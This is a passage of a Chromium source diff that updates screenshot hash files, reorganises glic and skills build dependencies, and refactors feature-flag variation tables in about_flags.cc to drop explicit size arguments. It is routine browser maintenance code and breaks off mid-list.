--- a/chrome/app/google_chrome_strings_grd/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE.png.sha1
+++ /dev/null
@@ -1 +0,0 @@
-66f67a28c1f7ed64a22b3318fe333e5f5ae0bb71
\ No newline at end of file
diff --git a/chrome/app/google_chrome_strings_grd/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE_WITHOUT_NAME.png.sha1 b/chrome/app/google_chrome_strings_grd/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE_WITHOUT_NAME.png.sha1
deleted file mode 100644
index 5595ade..0000000
--- a/chrome/app/google_chrome_strings_grd/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE_WITHOUT_NAME.png.sha1
+++ /dev/null
@@ -1 +0,0 @@
-80f51437bc88c557b27cd42480c59665bae864c3
\ No newline at end of file
diff --git a/chrome/app/google_chrome_strings_grd/IDS_LENS_COMPOSEBOX_HINT_TEXT_SELECT_PAGE.png.sha1 b/chrome/app/google_chrome_strings_grd/IDS_LENS_COMPOSEBOX_HINT_TEXT_SELECT_PAGE.png.sha1
new file mode 100644
index 0000000..474d392
--- /dev/null
+++ b/chrome/app/google_chrome_strings_grd/IDS_LENS_COMPOSEBOX_HINT_TEXT_SELECT_PAGE.png.sha1
@@ -0,0 +1 @@
+144c4a388f54df99264c9a40a56287b6756005bb
\ No newline at end of file
diff --git a/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_ALLOW_BUTTON.png.sha1 b/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_ALLOW_BUTTON.png.sha1
new file mode 100644
index 0000000..94c1afb
--- /dev/null
+++ b/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_ALLOW_BUTTON.png.sha1
@@ -0,0 +1 @@
+39dbd8754e2e5b5eff9e9dc7c63a196ae7840dc9
\ No newline at end of file
diff --git a/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_IN_TITLE.png.sha1 b/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_IN_TITLE.png.sha1
new file mode 100644
index 0000000..94c1afb
--- /dev/null
+++ b/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_IN_TITLE.png.sha1
@@ -0,0 +1 @@
+39dbd8754e2e5b5eff9e9dc7c63a196ae7840dc9
\ No newline at end of file
diff --git a/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_OUT_TITLE.png.sha1 b/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_OUT_TITLE.png.sha1
new file mode 100644
index 0000000..44676c6
--- /dev/null
+++ b/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_OUT_TITLE.png.sha1
@@ -0,0 +1 @@
+ce04b657a08695789cf725e1a6aa73e11815c38d
\ No newline at end of file
diff --git a/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_SETTINGS_BUTTON.png.sha1 b/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_SETTINGS_BUTTON.png.sha1
new file mode 100644
index 0000000..44676c6
--- /dev/null
+++ b/chrome/app/google_chrome_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_SETTINGS_BUTTON.png.sha1
@@ -0,0 +1 @@
+ce04b657a08695789cf725e1a6aa73e11815c38d
\ No newline at end of file
diff --git a/chrome/browser/BUILD.gn b/chrome/browser/BUILD.gn
index effadd53..4c84b66 100644
--- a/chrome/browser/BUILD.gn
+++ b/chrome/browser/BUILD.gn
@@ -530,8 +530,6 @@
     "history/profile_based_browsing_history_driver.h",
     "history/top_sites_factory.cc",
     "history/top_sites_factory.h",
-    "history/web_history_service_factory.cc",
-    "history/web_history_service_factory.h",
     "history_clusters/history_clusters_metrics_logger.cc",
     "history_clusters/history_clusters_metrics_logger.h",
     "history_clusters/history_clusters_service_factory.cc",
@@ -2879,7 +2877,6 @@
       "android/tab_android_data_provider.h",
       "android/tab_android_user_data.h",
       "android/tab_browser_controls_constraints_helper.cc",
-      "android/tab_browser_controls_constraints_helper.h",
       "android/tab_favicon.cc",
       "android/tab_favicon.h",
       "android/tab_group_android.cc",
@@ -6239,36 +6236,27 @@
 
   if (enable_glic) {
     deps += [
-      "//chrome/browser/glic",
-      "//chrome/browser/glic:impl",
-    ]
-    allow_circular_includes_from += [ "//chrome/browser/glic:impl" ]
-  }
-
-  if (enable_glic) {
-    deps += [
       "//chrome/browser/background/glic",
       "//chrome/browser/background/glic:impl",
+      "//chrome/browser/glic",
+      "//chrome/browser/glic:impl",
       "//chrome/browser/glic/fre",
     ]
-
     allow_circular_includes_from += [
+      "//chrome/browser/glic:impl",
       "//chrome/browser/glic/fre",
       "//chrome/browser/background/glic:impl",
     ]
 
     if (!is_android) {
-      deps += [ "//chrome/browser/glic/media" ]
+      deps += [
+        "//chrome/browser/glic/media",
+        "//chrome/browser/skills",
+      ]
       allow_circular_includes_from += [ "//chrome/browser/glic/media" ]
     }
   }
 
-  if (enable_glic) {
-    if (is_win || is_mac || is_linux || is_chromeos) {
-      deps += [ "//chrome/browser/skills" ]
-    }
-  }
-
   if (enable_background_mode) {
     deps += [
       "//chrome/browser/background/extensions",
diff --git a/chrome/browser/about_flags.cc b/chrome/browser/about_flags.cc
index 9389f44..b4f370c 100644
--- a/chrome/browser/about_flags.cc
+++ b/chrome/browser/about_flags.cc
@@ -418,8 +418,7 @@
 const FeatureEntry::FeatureParam kLocalNetworkAccessChecksBlock[] = {
     {"LocalNetworkAccessChecksWarn", "false"}};
 const FeatureEntry::FeatureVariation kLocalNetworkAccessChecksVariations[] = {
-    {"(Blocking)", kLocalNetworkAccessChecksBlock,
-     std::size(kLocalNetworkAccessChecksBlock), nullptr}};
+    {"(Blocking)", kLocalNetworkAccessChecksBlock, nullptr}};
 
 const FeatureEntry::Choice kEnableBenchmarkingChoices[] = {
     {flag_descriptions::kEnableBenchmarkingChoiceDisabled, "", ""},
@@ -483,19 +482,19 @@
 #endif  // ENABLE_EXTENSIONS
 
 #if BUILDFLAG(IS_WIN)
-const FeatureEntry::FeatureParam kDXGIWaitableSwapChain1Frame = {
-    "DXGIWaitableSwapChainMaxQueuedFrames", "1"};
+const FeatureEntry::FeatureParam kDXGIWaitableSwapChain1Frame[] = {
+    {"DXGIWaitableSwapChainMaxQueuedFrames", "1"}};
 
-const FeatureEntry::FeatureParam kDXGIWaitableSwapChain2Frames = {
-    "DXGIWaitableSwapChainMaxQueuedFrames", "2"};
+const FeatureEntry::FeatureParam kDXGIWaitableSwapChain2Frames[] = {
+    {"DXGIWaitableSwapChainMaxQueuedFrames", "2"}};
 
-const FeatureEntry::FeatureParam kDXGIWaitableSwapChain3Frames = {
-    "DXGIWaitableSwapChainMaxQueuedFrames", "3"};
+const FeatureEntry::FeatureParam kDXGIWaitableSwapChain3Frames[] = {
+    {"DXGIWaitableSwapChainMaxQueuedFrames", "3"}};
 
 const FeatureEntry::FeatureVariation kDXGIWaitableSwapChainVariations[] = {
-    {"Max 1 Frame", &kDXGIWaitableSwapChain1Frame, 1, nullptr},
-    {"Max 2 Frames", &kDXGIWaitableSwapChain2Frames, 1, nullptr},
-    {"Max 3 Frames", &kDXGIWaitableSwapChain3Frames, 1, nullptr}};
+    {"Max 1 Frame", kDXGIWaitableSwapChain1Frame, nullptr},
+    {"Max 2 Frames", kDXGIWaitableSwapChain2Frames, nullptr},
+    {"Max 3 Frames", kDXGIWaitableSwapChain3Frames, nullptr}};
 #endif
 
 #if BUILDFLAG(ENABLE_VR)
@@ -544,12 +543,9 @@
 const FeatureEntry::FeatureParam kCCTAdaptiveButton_MenuOIB[] = {
     {"show_open_in_browser_menu_top", "true"}};
 const FeatureEntry::FeatureVariation kCCTAdaptiveButtonVariations[] = {
-    {"Menu OIB moved up", kCCTAdaptiveButton_MenuOIB,
-     std::size(kCCTAdaptiveButton_MenuOIB), nullptr},
-    {"CPA+OIB", kCCTAdaptiveButton_CPA, std::size(kCCTAdaptiveButton_CPA),
-     nullptr},
-    {"CPA+OIB+RMFallbackMenu", kCCTAdaptiveButton_CPA_RMFallbackMenu,
-     std::size(kCCTAdaptiveButton_CPA_RMFallbackMenu), nullptr},
+    {"Menu OIB moved up", kCCTAdaptiveButton_MenuOIB, nullptr},
+    {"CPA+OIB", kCCTAdaptiveButton_CPA, nullptr},
+    {"CPA+OIB+RMFallbackMenu", kCCTAdaptiveButton_CPA_RMFallbackMenu, nullptr},
 };
 
 const FeatureEntry::Choice kAdpfEfficiencyChoices[] = {
@@ -573,12 +569,9 @@
     {"always-animate", "true"}};
 const FeatureEntry::FeatureVariation kCCTAdaptiveButtonTestSwitchVariations[] =
     {
-        {"+Hide button", kCCTAdaptiveButtonTestSwitchHide,
-         std::size(kCCTAdaptiveButtonTestSwitchHide), nullptr},
-        {"+Always animate chip", kCCTAdaptiveButtonTestSwitchChip,
-         std::size(kCCTAdaptiveButtonTestSwitchChip), nullptr},
-        {"+Both", kCCTAdaptiveButtonTestSwitchBoth,
-         std::size(kCCTAdaptiveButtonTestSwitchBoth), nullptr},
+        {"+Hide button", kCCTAdaptiveButtonTestSwitchHide, nullptr},
+        {"+Always animate chip", kCCTAdaptiveButtonTestSwitchChip, nullptr},
+        {"+Both", kCCTAdaptiveButtonTestSwitchBoth, nullptr},
 };
 
 const FeatureEntry::FeatureParam kCCTAuthTabHttpsVerificationTimeout10000Ms[] =
@@ -589,11 +582,9 @@
 const FeatureEntry::FeatureVariation
     kCCTAuthTabEnableHttpsRedirectsVariations[] = {
         {"HTTPS verification timeout 10,000ms",
-         kCCTAuthTabHttpsVerificationTimeout10000Ms,
-         std::size(kCCTAuthTabHttpsVerificationTimeout10000Ms), nullptr},
+         kCCTAuthTabHttpsVerificationTimeout10000Ms, nullptr},
         {"HTTPS verification timeout 1000ms",
-         kCCTAuthTabHttpsVerificationTimeout1000Ms,
-         std::size(kCCTAuthTabHttpsVerificationTimeout1000Ms), nullptr}};
+         kCCTAuthTabHttpsVerificationTimeout1000Ms, nullptr}};
 
 const FeatureEntry::FeatureParam kCCTResizablePolicyParamUseAllowlist[] = {
     {"default_policy", "use-allowlist"}};
@@ -602,10 +593,8 @@
 
 const FeatureEntry::FeatureVariation
     kCCTResizableThirdPartiesDefaultPolicyVariations[] = {
-        {"Use Allowlist", kCCTResizablePolicyParamUseAllowlist,
-         std::size(kCCTResizablePolicyParamUseAllowlist), nullptr},
-        {"Use Denylist", kCCTResizablePolicyParamUseDenylist,
-         std::size(kCCTResizablePolicyParamUseDenylist), nullptr}};
+        {"Use Allowlist", kCCTResizablePolicyParamUseAllowlist, nullptr},
+        {"Use Denylist", kCCTResizablePolicyParamUseDenylist, nullptr}};
 
 const FeatureEntry::FeatureParam kCCTBottomBarButtonBalancedWithHomeParam[] = {
     {"google_bottom_bar_button_list", "0,10,3,2"}};
@@ -622,17 +611,16 @@
 
 const FeatureEntry::FeatureVariation kCCTGoogleBottomBarVariations[] = {
     {"Balanced with home button", kCCTBottomBarButtonBalancedWithHomeParam,
-     std::size(kCCTBottomBarButtonBalancedWithHomeParam), nullptr},
+     nullptr},
     {"Balanced with custom button", kCCTBottomBarButtonsBalancedWithCustomParam,
-     std::size(kCCTBottomBarButtonsBalancedWithCustomParam), nullptr},
+     nullptr},
     {"Balanced with search button", kCCTBottomBarButtonsBalancedWithSearchParam,
-     std::size(kCCTBottomBarButtonsBalancedWithSearchParam), nullptr},
-    {"home button in spotlight", kCCTBottomBarHomeInSpotlightParam,
-     std::size(kCCTBottomBarHomeInSpotlightParam), nullptr},
+     nullptr},
+    {"home button in spotlight", kCCTBottomBarHomeInSpotlightParam, nullptr},
     {"custom button in spotlight", kCCTBottomBarCustomInSpotlightParam,
-     std::size(kCCTBottomBarCustomInSpotlightParam), nullptr},
+     nullptr},
     {"search button in spotlight", kCCTBottomBarSearchInSpotlightParam,
-     std::size(kCCTBottomBarSearchInSpotlightParam), nullptr},
+     nullptr},
 };
 
 const FeatureEntry::FeatureParam kCCTDoubleDeckerBottomBarParam[] = {
@@ -645,13 +633,10 @@
 
 const FeatureEntry::FeatureVariation
     kCCTGoogleBottomBarVariantLayoutsVariations[] = {
-        {"Double decker", kCCTDoubleDeckerBottomBarParam,
-         std::size(kCCTDoubleDeckerBottomBarParam), nullptr},
-        {"Single decker", kCCTSingleDeckerBottomBarParam,
-         std::size(kCCTSingleDeckerBottomBarParam), nullptr},
+        {"Double decker", kCCTDoubleDeckerBottomBarParam, nullptr},
+        {"Single decker", kCCTSingleDeckerBottomBarParam, nullptr},
         {"Single decker with button(s) on right",
-         kCCTSingleDeckerBottomBarWithButtonsOnRightParam,
-         std::size(kCCTSingleDeckerBottomBarWithButtonsOnRightParam), nullptr},
+         kCCTSingleDeckerBottomBarWithButtonsOnRightParam, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -665,14 +650,10 @@
 
 const FeatureEntry::FeatureVariation kAndroidBottomToolbarV2Variations[] = {
     {"Force bottom for focused omnibox",
-     kAndroidBottomToolbarV2ForceBottomForFocusedOmniboxParam,
-     std::size(kAndroidBottomToolbarV2ForceBottomForFocusedOmniboxParam),
-     nullptr},
-    {"Reverse List", kAndroidBottomToolbarV2ReverseListParam,
-     std::size(kAndroidBottomToolbarV2ReverseListParam), nullptr},
+     kAndroidBottomToolbarV2ForceBottomForFocusedOmniboxParam, nullptr},
+    {"Reverse List", kAndroidBottomToolbarV2ReverseListParam, nullptr},
     {"Reverse list and force bottom for focused omnibox",
-     kAndroidBottomToolbarV2ReverseAndForce,
-     std::size(kAndroidBottomToolbarV2ReverseAndForce), nullptr}};
+     kAndroidBottomToolbarV2ReverseAndForce, nullptr}};
 
 const FeatureEntry::Choice kReaderModeHeuristicsChoices[] = {
     {flags_ui::kGenericExperimentChoiceDefault, "", ""},
@@ -712,18 +693,14 @@
 
 const FeatureEntry::FeatureVariation kReaderModeImprovementsChoices[] = {
     {"trigger on mobile-friendly pages",
-     kReaderModeImprovementsTriggerOnMobileFriendly,
-     std::size(kReaderModeImprovementsTriggerOnMobileFriendly), nullptr},
+     kReaderModeImprovementsTriggerOnMobileFriendly, nullptr},
     {"always-on entry point", kReaderModeImprovementsAlwaysOnEntryPoint,
-     std::size(kReaderModeImprovementsAlwaysOnEntryPoint), nullptr},
-    {"increased cpa timeout", kReaderModeImprovementsCustomCPATimeout,
-     std::size(kReaderModeImprovementsCustomCPATimeout), nullptr},
+     nullptr},
+    {"increased cpa timeout", kReaderModeImprovementsCustomCPATimeout, nullptr},
     {"reading mode in regular tab",
-     kReaderModeImprovementsShowReadingModeInRegularTab,
-     std::size(kReaderModeImprovementsShowReadingModeInRegularTab), nullptr},
+     kReaderModeImprovementsShowReadingModeInRegularTab, nullptr},
 
-    {"all", kReaderModeImprovementsAllOn,
-     std::size(kReaderModeImprovementsAllOn), nullptr}};
+    {"all", kReaderModeImprovementsAllOn, nullptr}};
 
 const FeatureEntry::FeatureParam kReaderModeUseReadabilityDistiller[] = {
     {"use_distiller", "true"}};
@@ -734,12 +711,10 @@
     {"use_heuristic", "true"}};
 
 const FeatureEntry::FeatureVariation kReaderModeUseReadabilityChoices[] = {
-    {"distiller only", kReaderModeUseReadabilityDistiller,
-     std::size(kReaderModeUseReadabilityDistiller), nullptr},
-    {"triggering heuristic only", kReaderModeUseReadabilityHeuristic,
-     std::size(kReaderModeUseReadabilityHeuristic), nullptr},
+    {"distiller only", kReaderModeUseReadabilityDistiller, nullptr},
+    {"triggering heuristic only", kReaderModeUseReadabilityHeuristic, nullptr},
     {"both distiller and triggering heuristic", kReaderModeUseReadabilityAll,
-     std::size(kReaderModeUseReadabilityAll), nullptr}};
+     nullptr}};
 
 const FeatureEntry::Choice kForceUpdateMenuTypeChoices[] = {
     {flags_ui::kGenericExperimentChoiceDefault, "", ""},
@@ -757,22 +732,20 @@
     {"min_sdk_version", "1000"}};
 const FeatureEntry::FeatureVariation kOmahaMinSdkVersionAndroidVariations[] = {
     {flag_descriptions::kOmahaMinSdkVersionAndroidMinSdk1Description,
-     kOmahaMinSdkVersionAndroidMinSdk1,
-     std::size(kOmahaMinSdkVersionAndroidMinSdk1), nullptr},
+     kOmahaMinSdkVersionAndroidMinSdk1, nullptr},
     {flag_descriptions::kOmahaMinSdkVersionAndroidMinSdk1000Description,
-     kOmahaMinSdkVersionAndroidMinSdk1000,
-     std::size(kOmahaMinSdkVersionAndroidMinSdk1000), nullptr},
+     kOmahaMinSdkVersionAndroidMinSdk1000, nullptr},
 };
 
-const FeatureEntry::FeatureParam kFeedHeaderRemovalParam1 = {
-    feed::kFeedHeaderRemovalTreatmentParam,
-    feed::kFeedHeaderRemovalTreatmentValue1};
-const FeatureEntry::FeatureParam kFeedHeaderRemovalParam2 = {
-    feed::kFeedHeaderRemovalTreatmentParam,
-    feed::kFeedHeaderRemovalTreatmentValue2};
+const FeatureEntry::FeatureParam kFeedHeaderRemovalParam1[] = {
+    {feed::kFeedHeaderRemovalTreatmentParam,
+     feed::kFeedHeaderRemovalTreatmentValue1}};
+const FeatureEntry::FeatureParam kFeedHeaderRemovalParam2[] = {
+    {feed::kFeedHeaderRemovalTreatmentParam,
+     feed::kFeedHeaderRemovalTreatmentValue2}};
 const FeatureEntry::FeatureVariation kFeedHeaderRemovalVariations[] = {
-    {"1", &kFeedHeaderRemovalParam1, 1, nullptr},
-    {"2", &kFeedHeaderRemovalParam2, 1, nullptr},
+    {"1", kFeedHeaderRemovalParam1, nullptr},
+    {"2", kFeedHeaderRemovalParam2, nullptr},
 };
 
 const FeatureEntry::Choice kSafetyHubUnifiedPasswordsModuleChoices[] = {
@@ -800,21 +773,15 @@
 const FeatureEntry::FeatureVariation
     kWebIdentityDigitalIdentityCredentialVariations[] = {
         {"with dialog depending on what credentials are requested",
-         kWebIdentityDigitalIdentityCredentialDefaultParam,
-         std::size(kWebIdentityDigitalIdentityCredentialDefaultParam), nullptr},
+         kWebIdentityDigitalIdentityCredentialDefaultParam, nullptr},
         {"without dialog", kWebIdentityDigitalIdentityCredentialNoDialogParam,
-         std::size(kWebIdentityDigitalIdentityCredentialNoDialogParam),
          nullptr},
         {"with confirmation dialog with mild warning before sending identity "
          "request to Android OS",
-         kWebIdentityDigitalIdentityCredentialLowRiskDialogParam,
-         std::size(kWebIdentityDigitalIdentityCredentialLowRiskDialogParam),
-         nullptr},
+         kWebIdentityDigitalIdentityCredentialLowRiskDialogParam, nullptr},
         {"with confirmation dialog with severe warning before sending "
          "identity request to Android OS",
-         kWebIdentityDigitalIdentityCredentialHighRiskDialogParam,
-         std::size(kWebIdentityDigitalIdentityCredentialHighRiskDialogParam),
-         nullptr}};
+         kWebIdentityDigitalIdentityCredentialHighRiskDialogParam, nullptr}};
 
 const FeatureEntry::FeatureParam kMBIModeLegacy[] = {{"mode", "legacy"}};
 const FeatureEntry::FeatureParam kMBIModeEnabledPerRenderProcessHost[] = {
@@ -823,11 +790,9 @@
     {"mode", "per_site_instance"}};
 
 const FeatureEntry::FeatureVariation kMBIModeVariations[] = {
-    {"legacy mode", kMBIModeLegacy, std::size(kMBIModeLegacy), nullptr},
-    {"per render process host", kMBIModeEnabledPerRenderProcessHost,
-     std::size(kMBIModeEnabledPerRenderProcessHost), nullptr},
-    {"per site instance", kMBIModeEnabledPerSiteInstance,
-     std::size(kMBIModeEnabledPerSiteInstance), nullptr}};
+    {"legacy mode", kMBIModeLegacy, nullptr},
+    {"per render process host", kMBIModeEnabledPerRenderProcessHost, nullptr},
+    {"per site instance", kMBIModeEnabledPerSiteInstance, nullptr}};
 
 const FeatureEntry::FeatureParam kSearchPrefetchWithoutHoldback[] = {
     {"prefetch_holdback", "false"}};
@@ -836,10 +801,8 @@
 
 const FeatureEntry::FeatureVariation
     kSearchPrefetchServicePrefetchingVariations[] = {
-        {"without holdback", kSearchPrefetchWithoutHoldback,
-         std::size(kSearchPrefetchWithoutHoldback), nullptr},
-        {"with holdback", kSearchPrefetchWithHoldback,
-         std::size(kSearchPrefetchWithHoldback), nullptr}};
+        {"without holdback", kSearchPrefetchWithoutHoldback, nullptr},
+        {"with holdback", kSearchPrefetchWithHoldback, nullptr}};
 
 #if !BUILDFLAG(IS_ANDROID)
 const FeatureEntry::FeatureParam
@@ -875,35 +838,25 @@
 
 const FeatureEntry::FeatureVariation kWebUIOmniboxAimPopupVariations[] = {
     {"- \"Add Context\" button below results",
-     kWebUIOmniboxAimPopupAddContextButtonBelowResults,
-     std::size(kWebUIOmniboxAimPopupAddContextButtonBelowResults), nullptr},
+     kWebUIOmniboxAimPopupAddContextButtonBelowResults, nullptr},
     {"- \"Add Context\" button below results - no contextual chips",
      kWebUIOmniboxAimPopupAddContextButtonBelowResultsNoContextualChips,
-     std::size(
-         kWebUIOmniboxAimPopupAddContextButtonBelowResultsNoContextualChips),
      nullptr},
     {"- \"Add Context\" button inline",
-     kWebUIOmniboxAimPopupAddContextButtonInline,
-     std::size(kWebUIOmniboxAimPopupAddContextButtonInline), nullptr},
+     kWebUIOmniboxAimPopupAddContextButtonInline, nullptr},
     {"- \"Add Context\" button inline - no contextual chips",
-     kWebUIOmniboxAimPopupAddContextButtonInlineNoContextualChips,
-     std::size(kWebUIOmniboxAimPopupAddContextButtonInlineNoContextualChips),
-     nullptr},
+     kWebUIOmniboxAimPopupAddContextButtonInlineNoContextualChips, nullptr},
     {"- \"Add Context\" button above results [deprecated]",
-     kWebUIOmniboxAimPopupAddContextButtonAboveResults,
-     std::size(kWebUIOmniboxAimPopupAddContextButtonAboveResults), nullptr},
+     kWebUIOmniboxAimPopupAddContextButtonAboveResults, nullptr},
     {"- \"Add Context\" button above results - no contextual chips "
      "[deprecated]",
      kWebUIOmniboxAimPopupAddContextButtonAboveResultsNoContextualChips,
-     std::size(
-         kWebUIOmniboxAimPopupAddContextButtonAboveResultsNoContextualChips),
      nullptr}};
 
 const FeatureEntry::FeatureParam kWebUIOmniboxPopupDebugSxS[] = {
     {"SxS", "true"}};
 const FeatureEntry::FeatureVariation kWebUIOmniboxPopupDebugVariations[] = {
-    {"Side by Side", kWebUIOmniboxPopupDebugSxS,
-     std::size(kWebUIOmniboxPopupDebugSxS), nullptr}};
+    {"Side by Side", kWebUIOmniboxPopupDebugSxS, nullptr}};
 #endif  // !BUILDFLAG(IS_ANDROID)
 
 #if BUILDFLAG(IS_CHROMEOS)
@@ -915,12 +868,9 @@
     {"shift_mib", "-800"}};
 
 const FeatureEntry::FeatureVariation kArcVmMemorySizeVariations[] = {
-    {"shift -200MiB", kArcVmMemorySizeShift_200,
-     std::size(kArcVmMemorySizeShift_200), nullptr},
-    {"shift -500MiB", kArcVmMemorySizeShift_500,
-     std::size(kArcVmMemorySizeShift_500), nullptr},
-    {"shift -800MiB", kArcVmMemorySizeShift_800,
-     std::size(kArcVmMemorySizeShift_800), nullptr},
+    {"shift -200MiB", kArcVmMemorySizeShift_200, nullptr},
+    {"shift -500MiB", kArcVmMemorySizeShift_500, nullptr},
+    {"shift -800MiB", kArcVmMemorySizeShift_800, nullptr},
 };
 #endif  // BUILDFLAG(IS_CHROMEOS)
 
@@ -940,9 +890,9 @@
 const FeatureEntry::FeatureVariation
     kSearchSuggsetionPrerenderTypeVariations[] = {
         {"for all invisible page", kEnableLazyLoadImageForAllInvisiblePage,
-         std::size(kEnableLazyLoadImageForAllInvisiblePage), nullptr},
+         nullptr},
         {"for prerendering page", kEnableLazyLoadImageForPrerenderPage,
-         std::size(kEnableLazyLoadImageForPrerenderPage), nullptr}};
+         nullptr}};
 
 const FeatureEntry::Choice kTopChromeTouchUiChoices[] = {
     {flags_ui::kGenericExperimentChoiceDefault, "", ""},
@@ -961,9 +911,8 @@
     {"BorealisZinkGlDriverParam", "ZinkEnableAll"}};
 
 const FeatureEntry::FeatureVariation kBorealisZinkGlDriverVariations[] = {
-    {"for recommended apps", kZinkEnableRecommended,
-     std::size(kZinkEnableRecommended), nullptr},
-    {"for all apps", kZinkEnableAll, std::size(kZinkEnableAll), nullptr}};
+    {"for recommended apps", kZinkEnableRecommended, nullptr},
+    {"for all apps", kZinkEnableAll, nullptr}};
 
 const char kArcEnableVirtioBlkForDataInternalName[] =
     "arc-enable-virtio-blk-for-data";
@@ -1010,12 +959,9 @@
     {"search_result_translation_duration", "150"}};
 
 const FeatureEntry::FeatureVariation kDynamicSearchUpdateAnimationVariations[] =
-    {{"50ms", kDynamicSearchUpdateAnimationDuration_50,
-      std::size(kDynamicSearchUpdateAnimationDuration_50), nullptr},
-     {"100ms", kDynamicSearchUpdateAnimationDuration_100,
-      std::size(kDynamicSearchUpdateAnimationDuration_100), nullptr},
-     {"150ms", kDynamicSearchUpdateAnimationDuration_150,
-      std::size(kDynamicSearchUpdateAnimationDuration_150), nullptr}};
+    {{"50ms", kDynamicSearchUpdateAnimationDuration_50, nullptr},
+     {"100ms", kDynamicSearchUpdateAnimationDuration_100, nullptr},
+     {"150ms", kDynamicSearchUpdateAnimationDuration_150, nullptr}};
 #endif  // BUILDFLAG(IS_CHROMEOS)
 
 const FeatureEntry::Choice kSiteIsolationOptOutChoices[] = {
@@ -1103,12 +1049,9 @@
 const FeatureEntry::FeatureVariation
     kOptimizationGuideOnDeviceModelVariations[] = {
         {"BypassPerfRequirement",
-         kOptimizationGuideOnDeviceModelBypassPerfParams,
-         std::size(kOptimizationGuideOnDeviceModelBypassPerfParams), nullptr},
+         kOptimizationGuideOnDeviceModelBypassPerfParams, nullptr},
         {"Force Small Model",
-         kOptimizationGuideOnDeviceModelBypassPerfSmallModelParams,
-         std::size(kOptimizationGuideOnDeviceModelBypassPerfSmallModelParams),
-         nullptr},
+         kOptimizationGuideOnDeviceModelBypassPerfSmallModelParams, nullptr},
 };
 
 const FeatureEntry::FeatureParam kTextSafetyClassifierNoRetractParams[] = {
@@ -1116,8 +1059,7 @@
 };
 const FeatureEntry::FeatureVariation kTextSafetyClassifierVariations[] = {
     {"Executes safety classifier but no retraction of output",
-     kTextSafetyClassifierNoRetractParams,
-     std::size(kTextSafetyClassifierNoRetractParams), nullptr},
+     kTextSafetyClassifierNoRetractParams, nullptr},
 };
 
 const FeatureEntry::FeatureParam kPageActionsMigrationParams[] = {
@@ -1150,7 +1092,7 @@
 };
 const FeatureEntry::FeatureVariation kPageActionsMigrationVariations[] = {
     {"with all migrated page actions enabled", kPageActionsMigrationParams,
-     std::size(kPageActionsMigrationParams), nullptr},
+     nullptr},
 };
 
 const FeatureEntry::FeatureParam kPageContentAnnotationsContentParams[] = {
@@ -1170,14 +1112,11 @@
 };
 const FeatureEntry::FeatureVariation kPageContentAnnotationsVariations[] = {
     {"All Annotations and Persistence on Content",
-     kPageContentAnnotationsContentParams,
-     std::size(kPageContentAnnotationsContentParams), nullptr},
+     kPageContentAnnotationsContentParams, nullptr},
     {"All Annotations and Persistence on Title",
-     kPageContentAnnotationsTitleParams,
-     std::size(kPageContentAnnotationsTitleParams), nullptr},
+     kPageContentAnnotationsTitleParams, nullptr},
     {"Annotation timeout duration 0 seconds",
-     kPageContentAnnotationsTimeoutDurationParams,
-     std::size(kPageContentAnnotationsTimeoutDurationParams), nullptr}};
+     kPageContentAnnotationsTimeoutDurationParams, nullptr}};
 
 #if !BUILDFLAG(IS_ANDROID)
 constexpr FeatureEntry::FeatureParam
@@ -1186,9 +1125,7 @@
 constexpr FeatureEntry::FeatureVariation
     kHappinessTrackingSurveysForDesktopDemoVariations[] = {
         {"without Auto Prompt",
-         kHappinessTrackingSurveysForDesktopDemoWithoutAutoPrompt,
-         std::size(kHappinessTrackingSurveysForDesktopDemoWithoutAutoPrompt),
-         nullptr}};
+         kHappinessTrackingSurveysForDesktopDemoWithoutAutoPrompt, nullptr}};
 #endif  // !BUILDFLAG(IS_ANDROID)
 
 const FeatureEntry::FeatureParam kJourneysShowAllVisitsParams[] = {
@@ -1201,10 +1138,8 @@
     {"JourneysLocaleOrLanguageAllowlist", "*"},
 };
 const FeatureEntry::FeatureVariation kJourneysVariations[] = {
-    {"No 'Show More' - Show all visits", kJourneysShowAllVisitsParams,
-     std::size(kJourneysShowAllVisitsParams), nullptr},
-    {"All Supported Locales", kJourneysAllLocalesParams,
-     std::size(kJourneysAllLocalesParams), nullptr},
+    {"No 'Show More' - Show all visits", kJourneysShowAllVisitsParams, nullptr},
+    {"All Supported Locales", kJourneysAllLocalesParams, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -1239,27 +1174,21 @@
 
 const FeatureEntry::FeatureVariation kLensAimSuggestionsVariations[] = {
     {"with Contextual - 3 suggestions",
-     kLensAimSuggestionsTypeContextualWith3Suggestions,
-     std::size(kLensAimSuggestionsTypeContextualWith3Suggestions), nullptr},
+     kLensAimSuggestionsTypeContextualWith3Suggestions, nullptr},
     {"with Contextual - 5 suggestions",
-     kLensAimSuggestionsTypeContextualWith5Suggestions,
-     std::size(kLensAimSuggestionsTypeContextualWith5Suggestions), nullptr},
+     kLensAimSuggestionsTypeContextualWith5Suggestions, nullptr},
     {"with Contextual - 8 suggestions",
-     kLensAimSuggestionsTypeContextualWith8Suggestions,
-     std::size(kLensAimSuggestionsTypeContextualWith8Suggestions), nullptr},
+     kLensAimSuggestionsTypeContextualWith8Suggestions, nullptr},
     {"with Multimodal - 3 suggestions",
-     kLensAimSuggestionsTypeMultimodalWith3Suggestions,
-     std::size(kLensAimSuggestionsTypeMultimodalWith3Suggestions), nullptr},
+     kLensAimSuggestionsTypeMultimodalWith3Suggestions, nullptr},
     {"with Multimodal - 5 suggestions",
